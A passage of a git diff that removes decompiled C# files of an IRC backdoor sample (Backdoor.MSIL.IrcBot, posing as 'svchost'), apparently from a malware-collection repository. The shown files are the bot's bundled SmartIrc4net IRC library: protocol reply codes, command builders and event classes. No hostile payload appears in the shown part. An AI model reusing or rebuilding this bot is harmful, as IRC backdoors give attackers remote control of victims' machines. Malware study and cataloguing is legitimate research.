0x000000F3 - LuserClient = 251, // 0x000000FB - LuserOp = 252, // 0x000000FC - LuserUnknown = 253, // 0x000000FD - LuserChannels = 254, // 0x000000FE - LuserMe = 255, // 0x000000FF - AdminMe = 256, // 0x00000100 - AdminLocation1 = 257, // 0x00000101 - AdminLocation2 = 258, // 0x00000102 - AdminEmail = 259, // 0x00000103 - TraceLog = 261, // 0x00000105 - TraceEnd = 262, // 0x00000106 - TryAgain = 263, // 0x00000107 - Away = 301, // 0x0000012D - UserHost = 302, // 0x0000012E - IsOn = 303, // 0x0000012F - UnAway = 305, // 0x00000131 - NowAway = 306, // 0x00000132 - WhoIsUser = 311, // 0x00000137 - WhoIsServer = 312, // 0x00000138 - WhoIsOperator = 313, // 0x00000139 - WhoWasUser = 314, // 0x0000013A - EndOfWho = 315, // 0x0000013B - WhoIsIdle = 317, // 0x0000013D - EndOfWhoIs = 318, // 0x0000013E - WhoIsChannels = 319, // 0x0000013F - ListStart = 321, // 0x00000141 - List = 322, // 0x00000142 - ListEnd = 323, // 0x00000143 - ChannelModeIs = 324, // 0x00000144 - UniqueOpIs = 325, // 0x00000145 - NoTopic = 331, // 0x0000014B - Topic = 332, // 0x0000014C - Inviting = 341, // 0x00000155 - Summoning = 342, // 0x00000156 - InviteList = 346, // 0x0000015A - EndOfInviteList = 347, // 0x0000015B - ExceptionList = 348, // 0x0000015C - EndOfExceptionList = 349, // 0x0000015D - Version = 351, // 0x0000015F - WhoReply = 352, // 0x00000160 - NamesReply = 353, // 0x00000161 - Links = 364, // 0x0000016C - EndOfLinks = 365, // 0x0000016D - EndOfNames = 366, // 0x0000016E - BanList = 367, // 0x0000016F - EndOfBanList = 368, // 0x00000170 - EndOfWhoWas = 369, // 0x00000171 - Info = 371, // 0x00000173 - Motd = 372, // 0x00000174 - EndOfInfo = 374, // 0x00000176 - MotdStart = 375, // 0x00000177 - EndOfMotd = 376, // 0x00000178 - YouAreOper = 381, // 0x0000017D - Rehashing = 382, // 0x0000017E - YouAreService = 383, // 0x0000017F - Time = 391, // 0x00000187 - UsersStart = 392, // 0x00000188 - Users = 393, // 0x00000189 - EndOfUsers = 394, // 0x0000018A - NoUsers = 395, // 0x0000018B - ErrorNoSuchNickname = 401, // 0x00000191 - ErrorNoSuchServer = 402, // 0x00000192 - ErrorNoSuchChannel = 403, // 0x00000193 - ErrorCannotSendToChannel = 404, // 0x00000194 - ErrorTooManyChannels = 405, // 0x00000195 - ErrorWasNoSuchNickname = 406, // 0x00000196 - ErrorTooManyTargets = 407, // 0x00000197 - ErrorNoSuchService = 408, // 0x00000198 - ErrorNoOrigin = 409, // 0x00000199 - ErrorNoRecipient = 411, // 0x0000019B - ErrorNoTextToSend = 412, // 0x0000019C - ErrorNoTopLevel = 413, // 0x0000019D - ErrorWildTopLevel = 414, // 0x0000019E - ErrorBadMask = 415, // 0x0000019F - ErrorUnknownCommand = 421, // 0x000001A5 - ErrorNoMotd = 422, // 0x000001A6 - ErrorNoAdminInfo = 423, // 0x000001A7 - ErrorFileError = 424, // 0x000001A8 - ErrorNoNicknameGiven = 431, // 0x000001AF - ErrorErroneusNickname = 432, // 0x000001B0 - ErrorNicknameInUse = 433, // 0x000001B1 - ErrorNicknameCollision = 436, // 0x000001B4 - ErrorUnavailableResource = 437, // 0x000001B5 - ErrorUserNotInChannel = 441, // 0x000001B9 - ErrorNotOnChannel = 442, // 0x000001BA - ErrorUserOnChannel = 443, // 0x000001BB - ErrorNoLogin = 444, // 0x000001BC - ErrorSummonDisabled = 445, // 0x000001BD - ErrorUsersDisabled = 446, // 0x000001BE - ErrorNotRegistered = 451, // 0x000001C3 - ErrorNeedMoreParams = 461, // 0x000001CD - ErrorAlreadyRegistered = 462, // 0x000001CE - ErrorNoPermissionForHost = 463, // 0x000001CF - ErrorPasswordMismatch = 464, // 0x000001D0 - ErrorYouAreBannedCreep = 465, // 0x000001D1 - ErrorYouWillBeBanned = 466, // 0x000001D2 - ErrorKeySet = 467, // 0x000001D3 - ErrorChannelIsFull = 471, // 0x000001D7 - ErrorUnknownMode = 472, // 0x000001D8 - ErrorInviteOnlyChannel = 473, // 0x000001D9 - ErrorBannedFromChannel = 474, // 0x000001DA - ErrorBadChannelKey = 475, // 0x000001DB - ErrorBadChannelMask = 476, // 0x000001DC - ErrorNoChannelModes = 477, // 0x000001DD - ErrorBanListFull = 478, // 0x000001DE - ErrorNoPrivileges = 481, // 0x000001E1 - ErrorChannelOpPrivilegesNeeded = 482, // 0x000001E2 - ErrorCannotKillServer = 483, // 0x000001E3 - ErrorRestricted = 484, // 0x000001E4 - ErrorUniqueOpPrivilegesNeeded = 485, // 0x000001E5 - ErrorNoOperHost = 491, // 0x000001EB - ErrorUserModeUnknownFlag = 501, // 0x000001F5 - ErrorUsersDoNotMatch = 502, // 0x000001F6 - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/Rfc2812.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/Rfc2812.cs deleted file mode 100644 index 51325000..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/Rfc2812.cs +++ /dev/null @@ -1,280 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.Rfc2812 -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.Text; -using System.Text.RegularExpressions; - -namespace Meebey.SmartIrc4net -{ - public sealed class Rfc2812 - { - private static Regex _NicknameRegex = new Regex("^[A-Za-z\\[\\]\\\\`_^{|}][A-Za-z0-9\\[\\]\\\\`_\\-^{|}]+$", RegexOptions.Compiled); - - private Rfc2812() - { - } - - public static bool IsValidNickname(string nickname) => nickname != null && nickname.Length > 0 && Rfc2812._NicknameRegex.Match(nickname).Success; - - public static string Pass(string password) => "PASS " + password; - - public static string Nick(string nickname) => "NICK " + nickname; - - public static string User(string username, int usermode, string realname) => "USER " + username + " " + usermode.ToString() + " * :" + realname; - - public static string Oper(string name, string password) => "OPER " + name + " " + password; - - public static string Privmsg(string destination, string message) => "PRIVMSG " + destination + " :" + message; - - public static string Notice(string destination, string message) => "NOTICE " + destination + " :" + message; - - public static string Join(string channel) => "JOIN " + channel; - - public static string Join(string[] channels) => "JOIN " + string.Join(",", channels); - - public static string Join(string channel, string key) => "JOIN " + channel + " " + key; - - public static string Join(string[] channels, string[] keys) => "JOIN " + string.Join(",", channels) + " " + string.Join(",", keys); - - public static string Part(string channel) => "PART " + channel; - - public static string Part(string[] channels) => "PART " + string.Join(",", channels); - - public static string Part(string channel, string partmessage) => "PART " + channel + " :" + partmessage; - - public static string Part(string[] channels, string partmessage) => "PART " + string.Join(",", channels) + " :" + partmessage; - - public static string Kick(string channel, string nickname) => "KICK " + channel + " " + nickname; - - public static string Kick(string channel, string nickname, string comment) => "KICK " + channel + " " + nickname + " :" + comment; - - public static string Kick(string[] channels, string nickname) => "KICK " + string.Join(",", channels) + " " + nickname; - - public static string Kick(string[] channels, string nickname, string comment) => "KICK " + string.Join(",", channels) + " " + nickname + " :" + comment; - - public static string Kick(string channel, string[] nicknames) - { - string str = string.Join(",", nicknames); - return "KICK " + channel + " " + str; - } - - public static string Kick(string channel, string[] nicknames, string comment) - { - string str = string.Join(",", nicknames); - return "KICK " + channel + " " + str + " :" + comment; - } - - public static string Kick(string[] channels, string[] nicknames) => "KICK " + string.Join(",", channels) + " " + string.Join(",", nicknames); - - public static string Kick(string[] channels, string[] nicknames, string comment) => "KICK " + string.Join(",", channels) + " " + string.Join(",", nicknames) + " :" + comment; - - public static string Motd() => "MOTD"; - - public static string Motd(string target) => "MOTD " + target; - - [Obsolete("use Lusers() method instead")] - public static string Luser() => Rfc2812.Lusers(); - - public static string Lusers() => "LUSERS"; - - [Obsolete("use Lusers(string) method instead")] - public static string Luser(string mask) => Rfc2812.Lusers(mask); - - public static string Lusers(string mask) => "LUSER " + mask; - - [Obsolete("use Lusers(string, string) method instead")] - public static string Luser(string mask, string target) => Rfc2812.Lusers(mask, target); - - public static string Lusers(string mask, string target) => "LUSER " + mask + " " + target; - - public static string Version() => "VERSION"; - - public static string Version(string target) => "VERSION " + target; - - public static string Stats() => "STATS"; - - public static string Stats(string query) => "STATS " + query; - - public static string Stats(string query, string target) => "STATS " + query + " " + target; - - public static string Links() => "LINKS"; - - public static string Links(string servermask) => "LINKS " + servermask; - - public static string Links(string remoteserver, string servermask) => "LINKS " + remoteserver + " " + servermask; - - public static string Time() => "TIME"; - - public static string Time(string target) => "TIME " + target; - - public static string Connect(string targetserver, string port) => "CONNECT " + targetserver + " " + port; - - public static string Connect(string targetserver, string port, string remoteserver) => "CONNECT " + targetserver + " " + port + " " + remoteserver; - - public static string Trace() => "TRACE"; - - public static string Trace(string target) => "TRACE " + target; - - public static string Admin() => "ADMIN"; - - public static string Admin(string target) => "ADMIN " + target; - - public static string Info() => "INFO"; - - public static string Info(string target) => "INFO " + target; - - public static string Servlist() => "SERVLIST"; - - public static string Servlist(string mask) => "SERVLIST " + mask; - - public static string Servlist(string mask, string type) => "SERVLIST " + mask + " " + type; - - public static string Squery(string servicename, string servicetext) => "SQUERY " + servicename + " :" + servicetext; - - public static string List() => "LIST"; - - public static string List(string channel) => "LIST " + channel; - - public static string List(string[] channels) => "LIST " + string.Join(",", channels); - - public static string List(string channel, string target) => "LIST " + channel + " " + target; - - public static string List(string[] channels, string target) => "LIST " + string.Join(",", channels) + " " + target; - - public static string Names() => "NAMES"; - - public static string Names(string channel) => "NAMES " + channel; - - public static string Names(string[] channels) => "NAMES " + string.Join(",", channels); - - public static string Names(string channel, string target) => "NAMES " + channel + " " + target; - - public static string Names(string[] channels, string target) => "NAMES " + string.Join(",", channels) + " " + target; - - public static string Topic(string channel) => "TOPIC " + channel; - - public static string Topic(string channel, string newtopic) => "TOPIC " + channel + " :" + newtopic; - - public static string Mode(string target) => "MODE " + target; - - public static string Mode(string target, string newmode) => "MODE " + target + " " + newmode; - - public static string Mode(string target, string[] newModes, string[] newModeParameters) - { - if (newModes == null) - throw new ArgumentNullException(nameof (newModes)); - if (newModeParameters == null) - throw new ArgumentNullException(nameof (newModeParameters)); - if (newModes.Length != newModeParameters.Length) - throw new ArgumentException("newModes and newModeParameters must have the same size."); - StringBuilder stringBuilder1 = new StringBuilder(newModes.Length); - StringBuilder stringBuilder2 = new StringBuilder(); - int num = 3; - if (newModes.Length > num) - throw new ArgumentOutOfRangeException("newModes.Length", (object) newModes.Length, string.Format("Mode change list is too large (> {0}).", (object) num)); - for (int index1 = 0; index1 <= newModes.Length; index1 += num) - { - for (int index2 = 0; index2 < num && index1 + index2 < newModes.Length; ++index2) - stringBuilder1.Append(newModes[index1 + index2]); - for (int index3 = 0; index3 < num && index1 + index3 < newModeParameters.Length; ++index3) - { - stringBuilder2.Append(newModeParameters[index1 + index3]); - stringBuilder2.Append(" "); - } - } - if (stringBuilder2.Length > 0) - { - --stringBuilder2.Length; - stringBuilder1.Append(" "); - stringBuilder1.Append(stringBuilder2.ToString()); - } - return Rfc2812.Mode(target, stringBuilder1.ToString()); - } - - public static string Service(string nickname, string distribution, string info) => "SERVICE " + nickname + " * " + distribution + " * * :" + info; - - public static string Invite(string nickname, string channel) => "INVITE " + nickname + " " + channel; - - public static string Who() => "WHO"; - - public static string Who(string mask) => "WHO " + mask; - - public static string Who(string mask, bool ircop) => ircop ? "WHO " + mask + " o" : "WHO " + mask; - - public static string Whois(string mask) => "WHOIS " + mask; - - public static string Whois(string[] masks) => "WHOIS " + string.Join(",", masks); - - public static string Whois(string target, string mask) => "WHOIS " + target + " " + mask; - - public static string Whois(string target, string[] masks) - { - string str = string.Join(",", masks); - return "WHOIS " + target + " " + str; - } - - public static string Whowas(string nickname) => "WHOWAS " + nickname; - - public static string Whowas(string[] nicknames) => "WHOWAS " + string.Join(",", nicknames); - - public static string Whowas(string nickname, string count) => "WHOWAS " + nickname + " " + count + " "; - - public static string Whowas(string[] nicknames, string count) => "WHOWAS " + string.Join(",", nicknames) + " " + count + " "; - - public static string Whowas(string nickname, string count, string target) => "WHOWAS " + nickname + " " + count + " " + target; - - public static string Whowas(string[] nicknames, string count, string target) => "WHOWAS " + string.Join(",", nicknames) + " " + count + " " + target; - - public static string Kill(string nickname, string comment) => "KILL " + nickname + " :" + comment; - - public static string Ping(string server) => "PING " + server; - - public static string Ping(string server, string server2) => "PING " + server + " " + server2; - - public static string Pong(string server) => "PONG " + server; - - public static string Pong(string server, string server2) => "PONG " + server + " " + server2; - - public static string Error(string errormessage) => "ERROR :" + errormessage; - - public static string Away() => "AWAY"; - - public static string Away(string awaytext) => "AWAY :" + awaytext; - - public static string Rehash() => "REHASH"; - - public static string Die() => "DIE"; - - public static string Restart() => "RESTART"; - - public static string Summon(string user) => "SUMMON " + user; - - public static string Summon(string user, string target) => "SUMMON " + user + " " + target; - - public static string Summon(string user, string target, string channel) => "SUMMON " + user + " " + target + " " + channel; - - public static string Users() => "USERS"; - - public static string Users(string target) => "USERS " + target; - - public static string Wallops(string wallopstext) => "WALLOPS :" + wallopstext; - - public static string Userhost(string nickname) => "USERHOST " + nickname; - - public static string Userhost(string[] nicknames) => "USERHOST " + string.Join(" ", nicknames); - - public static string Ison(string nickname) => "ISON " + nickname; - - public static string Ison(string[] nicknames) => "ISON " + string.Join(" ", nicknames); - - public static string Quit() => "QUIT"; - - public static string Quit(string quitmessage) => "QUIT :" + quitmessage; - - public static string Squit(string server, string comment) => "SQUIT " + server + " :" + comment; - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/SendType.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/SendType.cs deleted file mode 100644 index edcbb5aa..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/SendType.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.SendType -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public enum SendType - { - Message, - Action, - Notice, - CtcpReply, - CtcpRequest, - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/SmartIrc4netException.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/SmartIrc4netException.cs deleted file mode 100644 index bdbfc588..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/SmartIrc4netException.cs +++ /dev/null @@ -1,34 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.SmartIrc4netException -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.Runtime.Serialization; - -namespace Meebey.SmartIrc4net -{ - [Serializable] - public class SmartIrc4netException : ApplicationException - { - public SmartIrc4netException() - { - } - - public SmartIrc4netException(string message) - : base(message) - { - } - - public SmartIrc4netException(string message, Exception e) - : base(message, e) - { - } - - protected SmartIrc4netException(SerializationInfo info, StreamingContext context) - : base(info, context) - { - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/TopicChangeEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/TopicChangeEventArgs.cs deleted file mode 100644 index 5b80c716..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/TopicChangeEventArgs.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.TopicChangeEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class TopicChangeEventArgs : IrcEventArgs - { - private string _Channel; - private string _Who; - private string _NewTopic; - - public string Channel => this._Channel; - - public string Who => this._Who; - - public string NewTopic => this._NewTopic; - - internal TopicChangeEventArgs( - IrcMessageData data, - string channel, - string who, - string newtopic) - : base(data) - { - this._Channel = channel; - this._Who = who; - this._NewTopic = newtopic; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/TopicChangeEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/TopicChangeEventHandler.cs deleted file mode 100644 index baf23a82..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/TopicChangeEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.TopicChangeEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void TopicChangeEventHandler(object sender, TopicChangeEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/TopicEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/TopicEventArgs.cs deleted file mode 100644 index 52436799..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/TopicEventArgs.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.TopicEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class TopicEventArgs : IrcEventArgs - { - private string _Channel; - private string _Topic; - - public string Channel => this._Channel; - - public string Topic => this._Topic; - - internal TopicEventArgs(IrcMessageData data, string channel, string topic) - : base(data) - { - this._Channel = channel; - this._Topic = topic; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/TopicEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/TopicEventHandler.cs deleted file mode 100644 index b35afc66..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/TopicEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.TopicEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void TopicEventHandler(object sender, TopicEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/UnbanEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/UnbanEventArgs.cs deleted file mode 100644 index e058fe8e..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/UnbanEventArgs.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.UnbanEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class UnbanEventArgs : IrcEventArgs - { - private string _Channel; - private string _Who; - private string _Hostmask; - - public string Channel => this._Channel; - - public string Who => this._Who; - - public string Hostmask => this._Hostmask; - - internal UnbanEventArgs(IrcMessageData data, string channel, string who, string hostmask) - : base(data) - { - this._Channel = channel; - this._Who = who; - this._Hostmask = hostmask; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/UnbanEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/UnbanEventHandler.cs deleted file mode 100644 index 61871879..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/UnbanEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.UnbanEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void UnbanEventHandler(object sender, UnbanEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/VoiceEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/VoiceEventArgs.cs deleted file mode 100644 index 4e3ade57..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/VoiceEventArgs.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.VoiceEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class VoiceEventArgs : IrcEventArgs - { - private string _Channel; - private string _Who; - private string _Whom; - - public string Channel => this._Channel; - - public string Who => this._Who; - - public string Whom => this._Whom; - - internal VoiceEventArgs(IrcMessageData data, string channel, string who, string whom) - : base(data) - { - this._Channel = channel; - this._Who = who; - this._Whom = whom; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/VoiceEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/VoiceEventHandler.cs deleted file mode 100644 index 124030f2..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/VoiceEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.VoiceEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void VoiceEventHandler(object sender, VoiceEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WhoEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WhoEventArgs.cs deleted file mode 100644 index 2ac23596..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WhoEventArgs.cs +++ /dev/null @@ -1,56 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.WhoEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: 